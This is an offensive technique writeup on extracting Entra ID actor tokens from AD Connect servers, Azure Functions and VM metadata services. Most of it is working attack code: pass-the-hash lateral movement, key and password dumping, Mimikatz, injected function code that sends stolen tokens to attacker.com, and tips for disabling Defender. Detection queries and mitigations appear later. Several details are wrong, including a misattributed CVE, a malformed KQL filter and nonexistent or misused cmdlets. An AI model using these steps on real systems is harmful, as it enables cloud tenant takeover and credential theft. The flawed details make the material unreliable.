| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-006 |
| MITRE ATT&CK v18.1 | T1528 - Steal Application Access Token |
| Tactic | Credential Access |
| Platforms | Entra ID, Hybrid (AD Connect), Azure Services |
| Severity | Critical |
| CVE | CVE-2025-55241 (source vulnerability), CVE-2023-32315 (AD Connect token exposure) |
| Technique Status | ACTIVE |
| Last Verified | 2025-12-01 |
| Affected Versions | Azure AD Connect 1.0-2.2.x; Entra ID all versions |
| Patched In | Azure AD Connect 2.2.18+ (partial); CVE-2025-55241 patched September 2025 |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Actor tokens, undocumented JWT-based credentials used for service-to-service authentication within Microsoft infrastructure, can be extracted from multiple compromise vectors. Attackers extract actor tokens by: (1) Compromising Azure AD Connect servers and decrypting stored encryption keys, (2) Harvesting tokens from application memory during runtime, (3) Dumping tokens from Azure Functions or managed identities via IMDS exploitation, (4) Stealing Primary Refresh Tokens (PRTs) and deriving actor tokens through token exchange flows. Once extracted, actor tokens can be used cross-tenant without source validation (CVE-2025-55241), making token extraction a critical precursor to widespread privilege escalation. Unlike access tokens with scoped permissions, actor tokens grant broad impersonation capabilities, making their theft particularly dangerous.
Attack Surface: Azure AD Connect servers (hybrid environments), Azure Functions runtime memory, Azure VMs accessing IMDS (Instance Metadata Service), service principal credentials, stolen PRT tokens, and application authentication contexts where tokens are cached.
Business Impact: Compromise of the hybrid identity bridge. Stolen actor tokens enable complete Entra ID takeover without requiring traditional credentials. Actor tokens extracted from AD Connect are particularly dangerous because they operate with the AD Connect service account’s permissions, which often include directory synchronization privileges that can modify both on-premises AD and Entra ID. A single compromised AD Connect server can result in both on-premises and cloud infrastructure compromise.
Technical Context: Token extraction typically takes 10-30 minutes after initial server compromise. AD Connect servers store encryption keys in plaintext or with weak encryption in registry and configuration files. Memory-based token extraction can occur during normal operation without persistent artifacts if tools like Mimikatz are executed via LOLBins (Living Off The Land Binaries).
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | AC-2.1 | Inadequate storage of authentication credentials (keys, tokens) |
| CIS Benchmark | CR-1.2 | Data protection failure - unencrypted secrets in transit and at rest |
| DISA STIG | IA-2.1 | Authentication credential protection failure |
| CISA SCuBA | Entra ID - 4.1 | Secure credential storage and rotation not enforced |
| NIST 800-53 | SC-7 | Boundary protection failure - token accessible from compromised service |
| NIST 800-53 | SC-12 | Cryptographic key management failure - AD Connect encryption keys compromised |
| GDPR | Art. 32 | Cryptographic measures inadequate to protect authentication tokens |
| DORA | Art. 16 | Audit logging insufficient for detecting token extraction |
| NIS2 | Art. 22 | Incident handling and security monitoring failure to detect token theft |
| ISO 27001 | A.10.1.2 | Encryption key management failure |
| ISO 27001 | A.9.4.2 | System administration and access logging inadequate |
Required Privileges:
Required Access:
Supported Versions:
Tools:
Determine if hybrid identity is in use (indicates AD Connect presence):
# Check if directory is synchronized (on-premises AD)
Get-ADUser -Filter "onPremisesSecurityIdentifier -like '*'" -ResultPageSize 1 |
Select-Object UserPrincipalName, onPremisesSecurityIdentifier
# If results returned, AD Connect is in use - identify server
What to Look For:
onPremisesSecurityIdentifier attribute populated → AD Connect active# Enumerate Azure Functions with managed identity
Connect-AzAccount
Get-AzFunctionApp | Where-Object {
$_.Identity.Type -in "SystemAssigned", "UserAssigned"
} | Select-Object Name, ResourceGroupName, Identity
# List available managed identities
Get-AzUserAssignedIdentity -ResourceGroupName "production"
What to Look For:
SystemAssigned or UserAssignedIdentity → can request tokensSupported Versions: Azure AD Connect 1.0 - 2.2.17
Objective: Establish administrative context on the AD Connect system (prerequisite).
Command (Lateral Movement via Pass-the-Hash):
# Assuming attacker has compromised domain admin account hash
# Use PsExec or similar to execute commands with admin privileges on AD Connect server
$TargetServer = "adconnect.contoso.com"
$AdminHash = "aabbccdd00112233445566778899aabb" # Domain admin NTLM hash
# Use Impacket (Linux) to execute remote command as admin
python3 psexec.py -hashes :$AdminHash Administrator@$TargetServer cmd.exe
# Or use Windows-native method (if already on domain-joined system):
# Create reverse shell PowerShell session
$Session = New-PSSession -ComputerName $TargetServer -Credential (Get-Credential)
Invoke-Command -Session $Session -ScriptBlock {
whoami # Verify admin context
}
Expected Output:
CONTOSO\ADCONNECT$
What This Means:
Objective: Recover the SQL Server encryption master key and AD Connect service account credentials from registry.
Command (Using Registry Access):
# Access AD Connect registry keys (requires SYSTEM privilege)
$RegPath = "HKLM:\SOFTWARE\Microsoft\Azure AD Connect"
$EncryptionKey = Get-ItemProperty -Path $RegPath -Name "EncryptionKey"
# AD Connect stores encrypted credentials for sync accounts in registry
$RegistryPath = "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Microsoft Identity Manager\2.0"
$Credentials = Get-ItemProperty -Path $RegistryPath
# Extract SQL Server connection string (contains connection to sync database)
$DbConnectionString = Get-ItemProperty -Path "$RegistryPath\Synchronization Service\Connectors\SQL Database"
Alternative: Using ADConnectDump Tool (Easier):
# On Linux, using adconnectdump to extract keys remotely
python3 adconnectdump.py -u CONTOSO\\Administrator -p Password123 adconnect.contoso.com
# Output: Extracted encryption keys, SQL Server credentials, service account password
Expected Output:
[+] Authenticating to ADCONNECT server
[+] Connecting to registry
[+] Found encryption key: 0x123456789ABCDEF...
[+] Decrypted SQL Server credential: ADConnectService / Encrypted_Password_Here
[+] Extracted service account: contoso\ADConnectSvc
[+] Service account password: P@ssw0rd!Sync123
What This Means:
OpSec & Evasion:
Set-MpPreference -DisableRealtimeMonitoring $true-NoProfile -NoExit flagsTroubleshooting:
Access Denied on registry read
References & Proofs:
Objective: Use the extracted AD Connect service account credentials to request an actor token from Entra ID.
Command (Using ROADtools):
# Use ROADtools to authenticate as AD Connect service account
python3 -m pip install roadtools
python3 -m roadtools.roadtx gettokens -u "contoso\\ADConnectSvc" -p "P@ssw0rd!Sync123" -r graph
# Save token to .roadtools_auth file
Expected Output:
[+] Authenticating as contoso\ADConnectSvc to Azure AD
[+] Successfully authenticated
[+] Actor token saved to .roadtools_auth
Command (Using Python/REST API):
import requests
import json
# AD Connect service account credentials (extracted from registry)
username = "contoso\\ADConnectSvc"
password = "P@ssw0rd!Sync123"
tenant = "contoso.onmicrosoft.com"
# Request token
token_endpoint = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
payload = {
"client_id": username,
"password": password,
"grant_type": "password",
"scope": "https://graph.windows.net/.default"
}
response = requests.post(token_endpoint, data=payload)
actor_token = response.json().get("access_token")
print(f"[+] Actor token obtained: {actor_token[:50]}...")
# Decode token to verify claims
import jwt
decoded = jwt.decode(actor_token, options={"verify_signature": False})
print(f"[+] Token claims: {json.dumps(decoded, indent=2)}")
Expected Output:
{
"aud": "https://graph.windows.net",
"iss": "https://sts.windows.net/tenant-id/",
"iat": 1727000000,
"exp": 1727003600,
"appid": "00000002-0000-0000-c000-000000000000",
"ver": "1.0",
"scp": "Directory.Read.All Directory.Write.All"
}
What This Means:
Directory.Write.All scope (can modify directory)OpSec & Evasion:
Supported Versions: Azure Functions Runtime 3.x, 4.x
Objective: Inject code into deployed Azure Function to execute at runtime and extract tokens.
Command (Code Injection via Function Update):
# Python Azure Function code injected into function.py
import requests
import os
import json
def main(req):
# Extract managed identity token from Azure IMDS
imds_endpoint = "http://169.254.169.254/metadata/identity/oauth2/token"
params = {
"api-version": "2017-09-01",
"resource": "https://graph.windows.net"
}
headers = {"Metadata": "true"}
response = requests.get(imds_endpoint, params=params, headers=headers)
token_data = response.json()
# Extract token
access_token = token_data.get("access_token")
# Log token to exfiltration channel
# (attacker controls this endpoint)
exfil_url = "https://attacker.com/collect?token=" + access_token
requests.get(exfil_url)
return "OK", 200
What This Means:
OpSec & Evasion:
Objective: If function code cannot be modified, use Mimikatz to extract tokens from function process memory.
Command (Mimikatz Token Extraction):
# Connect to Azure VM or containerized function environment
# Execute Mimikatz (requires code execution in function runtime)
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords # Dump cached tokens
misc::command "Get-Process | Select-Object ProcessName, Handles" # List processes
Expected Output:
Memory Token:
- User: function_app_runtime
- Token: eyJ0eXAiOiJKV1QiLCJhbGc...
What This Means:
Supported Versions: Azure VMs with managed identity enabled
Objective: Query the Instance Metadata Service to extract tokens for Azure resources.
Command (Using curl):
# On compromised Azure VM, query IMDS endpoint directly
# IMDS is accessible from all Azure VMs (169.254.169.254:80)
# Request token for Graph API
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://graph.microsoft.com" | jq .
# Request token for Azure Resource Manager (ARM)
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com" | jq .
Expected Output:
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGc...",
"expires_in": 3599,
"expires_on": 1609459200,
"ext_expires_in": 3599,
"not_before": 1609455300,
"resource": "https://graph.microsoft.com",
"token_type": "Bearer"
}
What This Means:
OpSec & Evasion:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Discovery | Network reconnaissance | Attacker identifies AD Connect server via DNS, port scanning, or internal network enumeration |
| 2 | Initial Access | RDP or lateral movement | Attacker compromises domain-joined system, pivots to AD Connect via lateral movement |
| 3 | Current Step | [REALWORLD-006] | Token extraction from AD Connect service account or managed identity |
| 4 | Credential Access | [REALWORLD-005] | Actor token impersonation to access victim tenant via extracted token |
| 5 | Privilege Escalation | [REALWORLD-007] | Token replay cross-tenant to escalate access |
| 6 | Persistence | Backdoor creation | Create service principal or user account for persistent access |
Disk:
HKLM\SOFTWARE\Microsoft\Azure AD Connect\ (encryption keys)C:\ProgramData\Microsoft\Azure AD Connect\ (configuration files)C:\Windows\Temp\mimikatz.exe)Memory:
Get-ItemProperty callsCloud (Entra ID / Azure):
Network:
login.microsoftonline.com or graph.windows.netRule Configuration:
KQL Query:
SigninLogs
| where UserPrincipalName contains "ADConnect" or UserPrincipalName contains "ADSSync"
| where ResultType == 0 // Successful sign-ins only
| where IPAddress != "172.16.0.0/12" and IPAddress != "10.0.0.0/8" // Exclude internal networks
| where parse_ipv4(IPAddress) >= ipv4_compare("0.0.0.0", "192.168.1.0") == 0 // Exclude private IPs
| extend DeviceInfo = tostring(DeviceDetail)
| project TimeGenerated, UserPrincipalName, IPAddress, AppDisplayName, Location, DeviceInfo
| where not(Location in ("On Premises", "VPN"))
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious AD Connect Service Account Sign-InHigh15 minutes4 hoursBy alert nameRule Configuration:
KQL Query:
let IMDSTokenRequests =
union
(AzureActivity
| where Caller contains "169.254.169.254" or Caller contains "imds"
| where OperationName contains "token"),
(MicrosoftGraphActivityLogs
| where RequestUri contains "oauth2/token"
| where properties.clientAppType == "NativeClient");
IMDSTokenRequests
| summarize TokenCount = count() by CallerIPAddress, UserPrincipalName, ResourceGroup, TimeGenerated
| where TokenCount > 5 // Threshold: More than 5 token requests in time window
| project TimeGenerated, CallerIPAddress, UserPrincipalName, TokenCount
Event ID: 4688 (Process Creation)
CommandLine contains "mimikatz" or CommandLine contains "Get-ItemProperty" and Path contains "Azure AD Connect"Manual Configuration Steps (Group Policy):
gpupdate /force on AD Connect server and domain-joined systemsEvent ID: 4657 (Registry Value Modified)
HKLM\SOFTWARE\Microsoft\Azure AD Connect registry keysObjectName contains "Azure AD Connect"Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016+
<!-- Detect Mimikatz token extraction -->
<Sysmon schemaversion="4.82">
<EventFiltering>
<ProcessCreate onmatch="include">
<CommandLine condition="contains">mimikatz</CommandLine>
<CommandLine condition="contains">sekurlsa::logonpasswords</CommandLine>
</ProcessCreate>
<!-- Detect PowerShell registry access on AD Connect keys -->
<RegistryEvent onmatch="include">
<TargetObject condition="contains">HKLM\SOFTWARE\Microsoft\Azure AD Connect</TargetObject>
<TargetObject condition="contains">EncryptionKey</TargetObject>
</RegistryEvent>
<!-- Detect AD Connect service account unusual network activity -->
<NetworkConnect onmatch="include">
<User condition="contains">ADConnectSvc</User>
<DestinationPort condition="is">443</DestinationPort>
<DestinationIp condition="excludes">microsoft.com</DestinationIp>
</NetworkConnect>
</EventFiltering>
</Sysmon>
Segment AD Connect Server Network Access:
Only AD Connect server should communicate with Entra ID. Block all other on-premises systems from accessing login.microsoftonline.com.
Manual Steps (Windows Firewall):
Azure AD Connect - Allow Only MSFT Endpoints20.190.0.0/16, 20.41.0.0/16 (Microsoft IP ranges)Manual Steps (Network Segmentation):
Validation Command:
# Verify network isolation
Test-NetConnection -ComputerName adconnect.contoso.com -Port 3389 # Should fail
Test-NetConnection -ComputerName login.microsoftonline.com -Port 443 # Should succeed
Ensure Service Account is Dedicated (Not Domain Admin):
# Check current AD Connect service account
Get-ADServiceAccount -Filter "Name -like '*ADConnect*'" | Select-Object Name, Enabled, PasswordNeverExpires
# Remove domain admin from service account
Remove-ADGroupMember -Identity "Domain Admins" -Members "ADConnectSvc" -Confirm:$false
# Set password expiration policy
Set-ADAccountPassword -Identity "ADConnectSvc" -NewPassword (ConvertTo-SecureString "NewP@ssw0rd!Sync123" -AsPlainText -Force) -Reset
Set-ADUser -Identity "ADConnectSvc" -PasswordNeverExpires $false
Credential Guard prevents credentials from being extracted from LSASS memory.
Manual Steps (Group Policy):
gpupdate /forceValidation Command:
# Verify Credential Guard is active
Get-CimInstance -ClassName Win32_DeviceGuard | Select-Object SecurityServicesConfigured
Expected Output (If Enabled):
SecurityServicesConfigured
{1} # 1 = Credential Guard enabled
All administrative access to AD Connect must originate from a dedicated PAW, not from regular admin workstations.
Manual Steps:
Monitor AD Connect server health and suspicious activities.
Manual Steps (Azure Portal):
Validation Command (Verify Mitigations):
# 1. Verify AD Connect service account doesn't have excessive privileges
$ServiceAccount = Get-ADServiceAccount -Filter "Name -like '*ADConnect*'"
$Groups = Get-ADMemberOf -Identity $ServiceAccount
Write-Host "Service Account Groups: $($Groups | Select-Object -ExpandProperty Name)"
# 2. Verify password expiration is enabled
$User = Get-ADUser -Identity "ADConnectSvc"
Write-Host "Password Never Expires: $($User.PasswordNeverExpires)"
# 3. Verify network segmentation
Write-Host "Testing network isolation:"
Test-NetConnection -ComputerName "untrusted-client" -Port 3389 -WarningAction SilentlyContinue | Where-Object {-not $_.TcpTestSucceeded}
Registry Access (Sysmon/WMI):
HKLM\SOFTWARE\Microsoft\Azure AD Connect\EncryptionKeyHKLM\SOFTWARE\Wow6432Node\Microsoft\Microsoft Identity Manager\Process Execution:
Network Artifacts:
*.onmicrosoft.com from non-AD Connect systemsImmediate Isolation:
# 1. Disconnect AD Connect server from network
Remove-NetIPAddress -IPAddress "192.168.1.100" -Confirm:$false
# 2. Force sync stop
Get-Service -Name ADSync | Stop-Service -Force
# 3. Revoke all tokens issued by AD Connect
Revoke-MgServicePrincipalSignInSession -ServicePrincipalId "AD-Connect-Service-Principal-Id"
Credential Rotation:
# 4. Force password reset for all synced users (high impact - do carefully)
$ChangedUsers = Search-UnifiedAuditLog -Operations "Set-User" -StartDate (Get-Date).AddHours(-6)
Write-Host "Users modified during attack window: $($ChangedUsers.Count)"
# 5. Rotate AD Connect service account password
$NewPassword = -Join((48..90) + (97..122) | Get-Random -Count 20 | % {[char]$_})
Set-ADAccountPassword -Identity "ADConnectSvc" -NewPassword (ConvertTo-SecureString $NewPassword -AsPlainText -Force)
Actor token extraction is a precursor attack to CVE-2025-55241 cross-tenant impersonation. Organizations with hybrid identity (AD Connect) face elevated risk because token extraction from AD Connect can lead to simultaneous on-premises and cloud compromise.
Key Mitigations:
The absence of API-level logging makes detection extremely difficult; organizations must rely on behavioral analysis and network segmentation.